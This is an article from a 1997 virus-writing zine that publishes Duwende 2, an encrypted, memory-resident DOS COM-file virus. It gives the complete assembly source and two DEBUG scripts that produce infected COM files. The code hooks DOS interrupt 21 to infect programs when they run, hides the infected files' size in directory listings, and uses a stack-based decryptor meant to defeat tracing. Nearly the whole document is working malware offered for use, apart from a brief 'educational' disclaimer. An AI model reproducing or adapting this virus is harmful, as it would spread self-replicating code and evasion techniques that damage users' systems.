Copy Link
Add to Bookmark
Report
Hexfiles Issue 3 File 011
HEX-FILES No. 3 File 011
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Duwende 2
This is an update on the Duwende virus which appeared in HEX-FILES
No. 1. The modifications made for Duwende 2 are as follows:
- It is now encrypted. The encryption used is not self-modified but
you would not be able to trace through the decryption because of
the use of the stack (SS:SP) in the decryption process.
- It is DIR stealth. Duwende now traps request for int 21 functions
11, 12, 4e and 4f. It would return the original length of the
infected program on these DOS calls.
- The jump to the virus code could now be a short jump or a near
jump. The old Duwende would always use a near jump even if the
jump is short.
Two debug scripts are included here. The scripts would both create
an infected COM that is infected by a 734 byte Duwende 2 virus. The
Duwende.734.A was created when the assembly source was compiled in
A86 ver. 4.02. TASM ver. 2.01 was used to create Duwende.734.B.
The difference between the two would not be noticeable because of
the encryption. There is, however, a two-byte difference in the
decryptor of the virus.
This virus was written several days after I did Duwende which
appeared on HEX-FILES No. 1, which is not the first version of the
virus.
ÄÄ DUWENDE2.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;_______________________________________________________________
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; Virus: Duwende Version 2.0
; Author: Putoksa Kawayan
; Origin: Manila, Philippines
; Date: March 20, 1997
;_______________________________________________________________
;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
;======================= structure of dta
dta struc
jmp1 db ? ; drive number
jmp2 dw ? ; search mask...
db 18 dup (?) ; ...and reserved for next search
dattr db ? ; file attribute
dtime dw ? ; file time stamp
ddate dw ? ; file date stamp
dllen dw ? ; length of file low word
dhlen dw ? ; length of file high word
dnamext db 13 dup (0) ; filename of matched file
dta ends
;================================ structure of standard fcb
fcb struc
fdriv db ? ; drive number
fname db 8 dup (?) ; file name
fext db 3 dup (?) ; file extension
fattr db ? ; file attribute
db 10 dup (?)
ftime dw ? ; file time stamp
fdate dw ? ; file date stamp
dw ?
fllen dw ? ; length of file low word
fhlen dw ? ; length of file high word
fcb ends
;==== structure of memory arena (mcb header) up to first 4 bytes of psp
mem struc
mid db ? ; M or Z
menv dw ? ; environement segment of mcb owner
mpara dw ? ; length of mcb in para
db 3 dup (?) ; ----------- don't know
mname db 8 dup (?) ; name of mcb owner
mcd20 dw ? ; cd 20 - first two bytes of psp
mtop dw ? ; next mcb or top of mem
mem ends
codlen equ (((offset end_of_program-offset start_of_virus)+15)/16)+1
memtop equ (offset virus_dta-offset hook_interrupt_21)
declen equ (offset virus_dta-offset virus_decryptor)
savoff equ (offset virus_dta-offset host_program)
enclen equ (offset virus_decryptor-(offset start_of_virus+3))
virus segment
assume cs:virus,ds:virus,es:nothing,ss:virustak
start_of_virus:
call virus_decryptor
dec si
cld
xor ax,ax
dec ax ; check if already resident
cwd
int 21h
cmp al,dl
je virus_is_in_memory
mov bp,si
add bp,4
push bp
push si
xor di,di
mov ax,es
push ax
push ax
mov bx,ax
dec ax
mov ds,ax
mov ax,mpara[di] ; get length of this mcb
mov cx,codlen
sub ax,cx ; allocate memory
dec cx
push cx
mov mpara[di],ax ; update this mcb
add ax,bx
mov mtop[di],ax ; update top of mem
mov bl,'M'
xchg bl,mid[di] ; set mcb id
mov cl,8
mov ds,ax
inc ax
mov es,ax
mov mid[di],bl ; set virus mcb id
mov menv[di],cx ; set mcb owner as os
pop mpara[di] ; set mcb length
push cs
pop ds
mov cx,offset virus_dta ; copy virus code
repz movsb
sub si,37h ; <--- memtop, to force a byte-sized operand
push si
ret
set_virus_dta:
pop cs:return_point
pushf
push ax
push dx
push bx
push ds
push es
mov ah,2fh ; get and save active dta
int 21h
push es
pop ds
jmp cs:return_point
virus_is_in_memory:
add si,offset host_program ; restore host and execute it
offset_restore_host:
mov di,0
add di,100h
push di
movsw
movsb
ret
db 'Duwende 2',19h,97h
dos_handler:
pushf
cmp ax,dx ; memory resident check
je self_rec_check
check_dos_functions:
cmp ah,12h ; find next fcb
je dir_stealth
cmp ah,4fh ; find next extended
je extended_find_file_next
cmp ah,11h ; find first fcb
je dir_stealth
cmp ah,4eh ; find first extended
je extended_find_file_first
cmp ah,4bh ; exec
je infection_routine
pass_to_dos:
popf
db 0eah
old_int_21 label dword
int_21_offset dw ?
int_21_segment dw ?
self_rec_check:
cmp ax,-1 ; verify if really me
jne check_dos_functions
inc dx
popf
error_handler:
mov al,0 ; error handler
iret
extended_find_file_first:
cmp al,ah ; is it a virus find first call?
je pass_to_dos
extended_find_file_next:
call cs:old_int_21 ; execute find file
jc return_to_caller
call stealth_on_program_file_search
jmp short return_to_caller
dir_stealth:
call cs:old_int_21 ; execute find file
cmp al,-1 ; error?
je return_to_caller
call stealth_on_dos_file_search
return_to_caller:
retf 2
infection_check:
mov ah,1fh ; file infection check
and al,ah ; isolate second field of time stamp
jne compare_day_to_seconds
inc ax
ret
compare_day_to_seconds:
and dl,ah ; isolate day field of time stamp
cmp al,dl ; second = day?
ret
infection_routine:
push ax
push cx
push dx
push bx
push si
push ds
push es
mov ah,2fh ; save active dta
int 21h
push es
push bx
push ds
push dx
push cs
pop ds
mov dx,offset virus_dta
mov ah,1ah
int 21h ; set up our own dta
mov al,4eh
mov si,dx
pop dx
pop ds
mov ah,al ; if ax = 4e4e, not stealthed
mov cx,27h
int 21h ; find file to get data on file
jc restore_active_dta
push cs
pop ds
cwd
cmp dhlen[si],dx ; high length = 0?
jne restore_active_dta
cmp byte ptr dllen[si]+1,4 ; low length >= 1024 bytes?
jb restore_active_dta
mov al,byte ptr dtime[si] ; set infect check
mov dl,byte ptr ddate[si]
call infection_check
je restore_active_dta
mov al,jmp1[si] ; get drive number
mov dl,al
add al,40h
mov ah,':'
mov dhlen[si],ax ; set up asciiz
mov ah,36h ; get disk's free space
int 21h
mul bx
mul cx
or dx,dx
jnz can_infect_files_on_disk
cmp ax,offset virus_dta
jb restore_active_dta
can_infect_files_on_disk:
call pre_infection
restore_active_dta:
pop dx
pop ds
mov ah,1ah ; restore dta
int 21h
pop es
pop ds
pop si
pop bx
pop dx
pop cx
pop ax
jmp pass_to_dos
encryption_routine:
push si
push bx
push si
push di
mov ah,51h ; get active psp
int 21h
mov es,bx
mov ax,es:2 ; get top of memory
sub ax,codlen ; and allocate memory for encryption
mov es,ax ; we are assuming that this is the
xor si,si ; psp of the last mcb anyway we
mov di,si ; are only infecting executed coms
offset_start_of_virus_in_host:
mov bx,0
movsb
movsw
mov cx,enclen/2
encryption_loop_top:
lodsw ; copy while encrypting
xor ax,bx
stosw
inc bx
inc bx
loop encryption_loop_top
mov cl,low declen ; copy decryptor
repz movsb
push ds
push es
pop ds
pop es
pop di
pop si
pop bx
pop cx
ret
pre_infection:
mov ax,3524h ; save and hook int 24
int 21h
push es
push bx
mov ah,25h
mov dx,offset error_handler
push ax
int 21h
lea dx,dhlen[si]
xor cx,cx
mov ax,4301h ; clear file attribute
int 21h
jc cannot_infect_file
mov ax,3d02h ; open file
int 21h
jc restore_file_attribute
xchg bx,ax
push dx
call infect_files
mov ah,3eh ; close file
int 21h
pop dx
restore_file_attribute:
xor ch,ch
mov cl,dattr[si]
mov ax,4301h ; restore file attribue
int 21h
cannot_infect_file:
pop ax
pop dx
pop ds
int 21h ; restore int 24
not_near_jump:
ret
infect_files:
mov ah,3fh
mov cx,3
lea dx,[si-1dh] ;savoff
int 21h
mov al,[si-1dh] ;savoff
cmp al,0e9h
jne not_near_jump
mov dx,[si-1ch] ;savoff-1
add dx,cx
mov cl,0
mov ax,4200h
push ax
push cx
push dx
int 21h
mov word ptr ds:offset_restore_host+1,ax
push ax
mov ah,3fh
lea dx,[si-1dh] ;savoff
mov cl,3
int 21h
pop dx
mov ax,dllen[si]
sub ax,cx
sub ax,dx
or ah,ah
jnz use_near_jump_to_virus
cmp al,7fh
jnb use_near_jump_to_virus
inc ax
mov ah,al
mov al,0ebh
mov word ptr jmp1[si],ax
jmp short using_short_jump_to_virus
use_near_jump_to_virus:
mov jmp1[si],0e9h
mov jmp2[si],ax
using_short_jump_to_virus:
pop dx
pop cx
pop ax
push ax
push cx
int 21h
mov dx,si
mov cl,3
mov ah,40h
int 21h
pop cx
pop ax
mov dx,dllen[si]
int 21h
add ax,103h
mov word ptr decryption_end_offset+2,ax
inc ax
inc ax
mov word ptr offset_start_of_virus_in_host+1,ax
add ax,offset virus_decryptor-7
mov word ptr decryption_start_offset_mirror+1,ax
inc ax
inc ax
mov word ptr decryption_start_offset+1,ax
call encryption_routine
mov ah,40h
int 21h
push cs
pop ds
mov ax,ddate[si]
mov cx,dtime[si]
mov dx,ax
and al,1fh
and cl,0e0h
or cl,al
mov ax,5701h
int 21h
ret
stealth_on_dos_file_search:
call set_virus_dta ; save registers
cmp byte ptr [bx],-1 ; extended fcb?
jne it_is_a_standard_fcb
add bx,7
it_is_a_standard_fcb:
test fattr[bx],10h ; a directory?
jnz turn_off_stealth_on_this_one
mov al,byte ptr ftime[bx] ; set infect check
mov dl,byte ptr fdate[bx]
call infection_check
jne turn_off_stealth_on_this_one
lea bx,fllen[bx]
verify_if_really_infected:
mov ax,offset virus_dta ; virus length
cwd
cmp [bx+2],dx ; hi length = 0 ?
jne turn_off_stealth_on_this_one
mov dx,[bx] ; get lo length
sub dx,ax ; sub virus length
jc turn_off_stealth_on_this_one ;file too small, not infected
add ah,ah
cmp dh,ah ; file too small, not infected
jb turn_off_stealth_on_this_one
mov [bx],dx ; set old length
turn_off_stealth_on_this_one:
pop es
pop ds
pop bx
pop dx
pop ax
popf
ret
stealth_on_program_file_search:
call set_virus_dta ; save registers
test dattr[bx],10h ; a directory?
jnz turn_off_stealth_on_this_one
mov al,byte ptr dtime[bx] ; set infect check
mov dl,byte ptr ddate[bx]
call infection_check
jne turn_off_stealth_on_this_one
lea bx,dllen[bx] ; set pointer
jmp verify_if_really_infected
hook_interrupt_21:
push es
pop ds
mov ax,3521h ; get old int 21
int 21h
mov int_21_offset,bx
mov int_21_segment,es
mov ah,25h ; hook int 21
mov dx,offset dos_handler
int 21h
pop es
pop ds
pop si
ret
host_program db 0cdh,20h,20h
restore_stack_pointer:
mov sp,bp ; restore sp
ret
;---------------------------------------------------------------------
; virus code encrypted up to here so that you could not place a
; break point in decryptor4. trace it and you would be decrypting garbage
; if not your return address.
;---------------------------------------------------------------------
virus_decryptor:
std ; set direction -- reverse
decryption_start_offset:
mov bp,1234h ; start of decryption
xchg bp,sp ; save current sp
decryption_start_offset_mirror:
mov si,1234h ; start of decryption
decryption_loop_top:
lodsw ; get 2 bytes
xchg sp,ax ; swap sp,ax
xor sp,ax ; xor sp,ax == no trace
xchg sp,ax ; swap
push ax ; save decrypted code
decryption_end_offset:
cmp sp,1234h ; end of decryption
je restore_stack_pointer ; codes decrypted
jmp decryption_loop_top ; loop
virus_dta db 3 dup (1ah)
return_point dw 1a1ah
db 39 dup (1ah)
end_of_program:
;---------------------------------------------------------------------
; the first generation would not install the virus in memory.
; Instead, it would create an encrypted copy of the virus in the file
; DUWENDE2.COM.
;---------------------------------------------------------------------
asciiz db 'duwende2.com',0
dropper:push cs
pop ds
push cs
pop es
mov si,3
mov di,si
mov cx,(virus_decryptor-(start_of_virus+3))
shr cx,1
mov bx,105h
mov ax,bx
sub ax,2
mov word ptr decryption_end_offset+2,ax
mess_up:lodsw ; encrypt
xor ax,bx
stosw
inc bx
inc bx
loop mess_up
mov ax,offset virus_decryptor
add ax,100h
mov word ptr decryption_start_offset+1,ax ; set up decrypt data
sub ax,2
mov word ptr decryption_start_offset_mirror+1,ax
mov ah,3ch
mov cx,20h
mov dx,offset asciiz ; create file
int 21h
jc done_drop
xchg bx,ax
xor dx,dx
mov cx,offset virus_dta
mov ah,40h ; write encrypted virus
int 21h
mov ah,3eh ; done
int 21h
done_drop:
mov ax,4c00h ; terminate
int 21h
virus ends
virustak segment stack 'stack'
dw 400h dup (?)
virustak ends
end dropper
ÄÄ DUWENDE2.ASM ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ DWND734A.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N DWND734A.COM
F 0100 04FF 20
E 0100 E9 B3 01 0D 20 20 20 0D 0A 4D 61 62 75 68 61 79
E 0110 21 0D 0A 0A 54 68 69 73 20 69 73 20 44 75 77 65
E 0120 6E 64 65 2E 37 33 34 2E 41 20 76 69 72 75 73
E 0130 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20 66 72
E 0140 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70 69 6E
E 0150 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74 6F
E 0160 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45 58 2D
E 0170 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A 48 45
E 0180 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75 74 6F
E 0190 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72 65
E 01A0 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C 65
E 01B0 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D 61 67
E 01D0 69 6E 61 72 79 20 64 61 6D 61 67 65 20 62 72 6F
E 01E0 75 67 68 74 20 61 62 6F 75 74 20 62 79 20 74 68
E 01F0 65 20 75 73 65 2C 20 6D 69 73 75 73 65 20 6F 72
E 0201 6E 6F 6E 2D 75 73 65 20 6F 66 0D 0A 74 68 69
E 0210 73 20 76 69 72 69 69 2E 20 54 68 65 20 70 65 72
E 0220 73 6F 6E 20 77 68 6F 20 65 78 65 63 75 74 65 73
E 0231 74 68 69 73 20 76 69 72 69 69 20 62 65 61 72
E 0240 73 20 66 75 6C 6C 20 72 65 73 70 6F 6E 73 69 62
E 0250 69 6C 69 74 79 0D 0A 66 6F 72 20 68 69 73 2F 68
E 0260 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A 0A 54 68
E 0270 69 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69
E 0280 63 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69
E 0290 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68
E 02A0 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D
E 02B0 0A 0A 24 08 20 1A E9 47 02 07 01 B4 09 CD 21 B4
E 02C0 4C CD 21
E 0500 E8 C4 02 4B F9 34 C5 41 9C C6 24 37 C7 7B 5C 9A
E 0510 EB 90 C0 11 50 41 36 E6 89 DB 55 4D 8E C7 4D AF
E 0520 DD A8 40 26 BC 15 05 00 CD 62 54 A4 40 2C 04 E9
E 0530 8C 76 17 86 48 B1 18 88 0D B5 DD 7D 8B FF 8D 5C
E 0540 8C 0E 04 CA 40 44 0B 56 BC 95 07 BE A1 CC EB 66
E 0550 53 90 2B DA 03 B6 07 C5 55 09 56 43 03 EB 2A AC
E 0560 24 65 1A 4B FA 41 E4 6B 84 AD C4 6F BA D9 04 F0
E 0570 C2 73 04 22 A0 D3 C6 3D 70 0C 60 13 61 1A 25 B3
E 0580 1C 14 99 BE C7 F3 1A 09 F9 99 71 B9 85 73 4A E5
E 0590 26 13 F9 84 71 BD 85 65 4B EF 10 1D F9 D4 71 9D
E 05A0 98 49 FD E5 14 A7 38 56 FA DE D9 EF 98 1F 05 7E
E 05B0 3F 77 71 59 2B 48 1B 1B 05 C9 14 55 D5 BE EE CD
E 05C0 2B 3C 1B 67 05 FB FA BD 06 23 80 CC CF CD 05 65
E 05D0 1A F1 C1 A0 07 97 C6 FB D1 E1 C7 1E 55 8E 57 B2
E 05E0 53 FD 03 51 2A 2A 24 EF 56 F5 57 E3 1A 55 DB F3
E 05F0 B1 E9 C8 D4 B5 B9 8C 2F 5F E4 8D 39 BC D8 05 CC
E 0600 27 71 3E 0B 19 9E 3F 5D 1A 7E 36 8D 7A 14 02 63
E 0610 2C 99 42 03 8C 43 1E F1 B3 E4 72 02 8C 1B 8E E3
E 0620 02 63 B2 1F 8F 63 1A 9D 30 E6 27 DA E5 D8 E7 3A
E 0630 D4 46 03 08 D8 35 74 3A EE 7F 06 67 19 8B 1C 8C
E 0640 27 44 19 1B 5D 1D 5F 11 EF 1E F9 1B 55 19 51 E5
E 0650 57 9E 27 DB C5 71 A7 5B 06 76 34 5D 88 9F 35 97
E 0660 8D 9D BD 60 03 C3 A3 D0 64 6A AB 5C DE C4 45 32
E 0670 E4 8B B7 56 F5 D3 18 7F 19 7C 59 23 5D 26 C5 39
E 0680 22 B6 CB A4 00 D4 B2 AC BC 26 06 DD CB AE 8B C5
E 0690 1A A0 CF 2D 07 D4 CB B8 74 80 BE 9F 3B 52 27 D3
E 06A0 0C 30 54 4D 13 A7 B2 97 CB 8A 5C 9F EB 25 4A A4
E 06B0 BE B2 45 78 27 EF 5C A6 CB 9A C5 09 39 06 05 C1
E 06C0 8B 97 E5 08 27 4D 42 2A 3A 22 73 23 8D 9B E2 D0
E 06D0 CC 62 06 6D 06 95 56 88 54 16 27 7E 6B DF 56 55
E 06E0 39 6E 52 06 B7 E4 CB C8 5C 60 42 F7 2F 27 2D 33
E 06F0 0C 17 73 F8 3A 88 75 F0 46 73 C2 4D ED 76 02 EA
E 0700 01 C5 03 EC 8E 43 06 53 5E 53 57 5C CA 2E 8E E3
E 0710 B6 10 B3 55 CA 36 5E 41 8C 4F 1D D0 26 1A 04 20
E 0720 A4 FB 05 65 47 84 64 28 02 EB 05 8E C9 2D 47 71
E 0730 A4 FA 05 DD 12 C8 B3 79 CA 1A 09 22 8C 7B 1F CA
E 0740 4B 55 8E 87 23 58 87 A8 E7 43 C6 F5 06 18 CA 70
E 0750 C4 BB F9 A8 87 68 F8 2C 04 D8 C4 5A F1 18 0B 71
E 0760 72 46 8D 22 10 ED 50 70 EF 0F F9 18 1D E2 58 6C
E 0770 BF AD 05 EC 3E 20 05 0C 09 F0 10 56 D7 0D 0F 83
E 0780 E3 B9 F3 F7 05 0E 10 8E 18 D0 5D D5 9A 4C EF 50
E 0790 FA 65 40 80 17 E2 F7 13 40 8D 8D CA 1F 77 28 5F
E 07A0 72 46 8A FA 1D 4C CE AF 18 13 26 98 CA 8E 8E AF
E 07B0 A5 B3 8B B3 A3 B7 B3 9C BD 39 07 70 26 B8 18 9F
E 07C0 C4 CD 18 7F 8C 22 C4 FD BD C7 07 87 E5 BE C5 07
E 07D0 AD 94 33 E0 94 50 81 FC 03 05 74 E8 EB F2
RCX
06DE
W
Q
ÄÄ DWND734A.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄ DWND734B.SCR STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
N DWND734B.COM
F 0100 04FF 20
E 0100 E9 B3 01 0D 20 20 20 0D 0A 4D 61 62 75 68 61 79
E 0110 21 0D 0A 0A 54 68 69 73 20 69 73 20 44 75 77 65
E 0120 6E 64 65 2E 37 33 34 2E 42 20 76 69 72 75 73
E 0130 63 6F 6D 69 6E 67 20 74 6F 20 79 6F 75 20 66 72
E 0140 6F 6D 20 74 68 65 20 50 68 69 6C 69 70 70 69 6E
E 0150 65 73 2E 0D 0A 42 72 6F 75 67 68 74 20 74 6F
E 0160 79 6F 75 20 6C 69 76 65 20 62 79 20 48 45 58 2D
E 0170 46 49 4C 45 53 20 4E 6F 2E 20 33 0D 0A 0A 48 45
E 0180 58 2D 46 49 4C 45 53 20 61 6E 64 20 50 75 74 6F
E 0190 6B 73 61 20 4B 61 77 61 79 61 6E 20 61 72 65
E 01A0 6E 6F 74 20 72 65 73 70 6F 6E 73 69 62 6C 65
E 01B0 66 6F 72 20 61 63 74 75 61 6C 2C 20 69 6D 70 6C
E 01C0 69 65 64 0D 0A 61 6E 64 2F 6F 72 20 69 6D 61 67
E 01D0 69 6E 61 72 79 20 64 61 6D 61 67 65 20 62 72 6F
E 01E0 75 67 68 74 20 61 62 6F 75 74 20 62 79 20 74 68
E 01F0 65 20 75 73 65 2C 20 6D 69 73 75 73 65 20 6F 72
E 0201 6E 6F 6E 2D 75 73 65 20 6F 66 0D 0A 74 68 69
E 0210 73 20 76 69 72 69 69 2E 20 54 68 65 20 70 65 72
E 0220 73 6F 6E 20 77 68 6F 20 65 78 65 63 75 74 65 73
E 0231 74 68 69 73 20 76 69 72 69 69 20 62 65 61 72
E 0240 73 20 66 75 6C 6C 20 72 65 73 70 6F 6E 73 69 62
E 0250 69 6C 69 74 79 0D 0A 66 6F 72 20 68 69 73 2F 68
E 0260 65 72 20 61 63 74 69 6F 6E 73 2E 0D 0A 0A 54 68
E 0270 69 73 20 76 69 72 69 69 20 69 73 20 73 74 72 69
E 0280 63 74 6C 79 20 66 6F 72 20 65 64 75 63 61 74 69
E 0290 6F 6E 61 6C 20 6F 72 20 72 65 73 65 61 72 63 68
E 02A0 20 70 75 72 70 6F 73 65 73 20 6F 6E 6C 79 2E 0D
E 02B0 0A 0A 24 08 20 1A E9 47 02 07 01 B4 09 CD 21 B4
E 02C0 4C CD 21
E 0500 E8 C4 02 4B F9 34 C5 41 9C C6 24 37 C7 7B 5C 9A
E 0510 EB 90 C0 11 50 41 36 E6 89 DB 55 4D 8E C7 4D AF
E 0520 DD A8 40 26 BC 15 05 02 C4 62 54 A4 40 2C 06 F2
E 0530 8C 76 17 86 48 B1 18 88 0D B5 DD 7D 8B FF 8D 5C
E 0540 8C 0E 04 CA 40 44 0B 56 BC 95 07 BE A1 CC EB 66
E 0550 53 90 2B DA 03 B6 07 C5 55 09 56 43 03 EB 2A AC
E 0560 24 65 1A 4B FA 41 E4 6B 84 AD C4 6F BA D9 04 F0
E 0570 C2 73 04 22 A0 D3 C6 3D 70 0C 60 13 61 1A 25 B3
E 0580 1C 14 99 BE C7 F3 1A 09 F9 99 71 B9 85 73 4A E5
E 0590 26 13 F9 84 71 BD 85 65 4B EF 10 1D F9 D4 71 9D
E 05A0 98 49 FD E5 14 A7 38 56 FA DE D9 EF 98 1F 05 7E
E 05B0 3F 77 71 59 2B 48 1B 1B 05 C9 14 55 D5 BE EE CD
E 05C0 2B 3C 1B 67 05 FB FA BD 06 23 80 CC CF CD 05 65
E 05D0 1A F1 C1 A0 07 97 C6 FB D1 E1 C7 1E 55 8E 57 B2
E 05E0 53 FD 03 51 2A 2A 24 EF 56 F5 57 E3 1A 55 DB F3
E 05F0 B1 E9 C8 D4 B5 B9 8E 0B 5F E4 8F 1D BC D8 05 CC
E 0600 27 71 3E 0B 19 9E 3F 5D 1A 7E 36 8D 7A 14 02 63
E 0610 2C 99 42 03 8C 43 1E F1 B3 E4 72 02 8C 1B 8C F1
E 0620 02 63 B2 1F 8F 63 1A 9D 30 E6 27 DA E5 D8 E7 3A
E 0630 D4 46 03 08 D8 35 74 3A EE 7F 06 67 19 8B 1C 8C
E 0640 27 44 19 1B 5D 1D 5F 11 EF 1E F9 1B 55 19 51 E5
E 0650 57 9E 27 DB C5 71 A7 5B 06 76 34 5D 88 9F 35 97
E 0660 8D 9D BD 60 03 C3 A3 D0 64 6A AB 5E C5 C4 45 32
E 0670 E4 8B B7 62 F5 D3 18 7F 19 7C 59 23 5D 26 C5 39
E 0680 22 B6 CB A4 00 D4 B2 AC BC 26 06 DD CB AE 8B C5
E 0690 1A A0 CF 2D 07 D4 CB B8 74 80 BE 9F 3B 52 27 D3
E 06A0 0C 30 54 4D 13 A7 B2 97 CB 8A 5C 9F EB 25 4A A4
E 06B0 BE B2 45 78 27 EF 5C A6 CB 9A C5 09 39 06 05 C1
E 06C0 8B 97 E5 08 27 4D 42 2A 3A 22 73 23 8D 9B E2 D2
E 06D0 D7 62 06 6D 06 95 56 88 54 16 27 7E 6B DF 56 55
E 06E0 39 6E 52 06 B7 E4 CB C8 5C 60 42 F7 2D 2E 2D 33
E 06F0 0C 17 73 F8 3A 88 75 F0 46 71 E6 4D ED 76 02 EA
E 0700 01 C5 03 EC 8E 43 06 53 5E 53 57 5C CA 2E 8C C7
E 0710 B6 10 B3 55 CA 36 5E 41 8C 4F 1D D0 26 1A 04 20
E 0720 A4 FB 05 65 47 84 64 28 02 EB 05 8E C9 2D 47 71
E 0730 A4 FA 05 DD 12 C8 B3 79 CA 1A 09 22 8C 7B 1F CA
E 0740 4B 55 8C 95 23 58 87 A8 E7 41 CF F5 06 18 CA 70
E 0750 C4 BB F9 A8 87 68 F8 2C 04 D8 C4 5A F1 18 0B 71
E 0760 72 46 8D 22 10 ED 50 70 EF 0F F9 18 1D E2 58 6C
E 0770 BF AD 05 EC 3E 20 05 0C 09 F0 10 56 D7 0D 0F 83
E 0780 E3 B9 F3 F7 05 0E 10 8E 18 D0 5D D5 9A 4C EF 50
E 0790 FA 65 40 80 17 E2 F7 13 40 8D 8D CA 1F 77 28 5F
E 07A0 72 46 8A FA 1D 4C CE AF 18 13 26 98 CA 8E 8E AF
E 07B0 A5 B3 8B B3 A3 B7 B3 9C BD 39 07 70 26 B8 18 9F
E 07C0 C4 CD 18 7F 8C 22 C4 FD BD C7 07 87 EC BE C5 07
E 07D0 AD 94 33 E0 94 50 81 FC 03 05 74 E8 EB F2
RCX
06DE
W
Q
ÄÄ DWND734B.SCR ENDS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
-=<HF3>=-
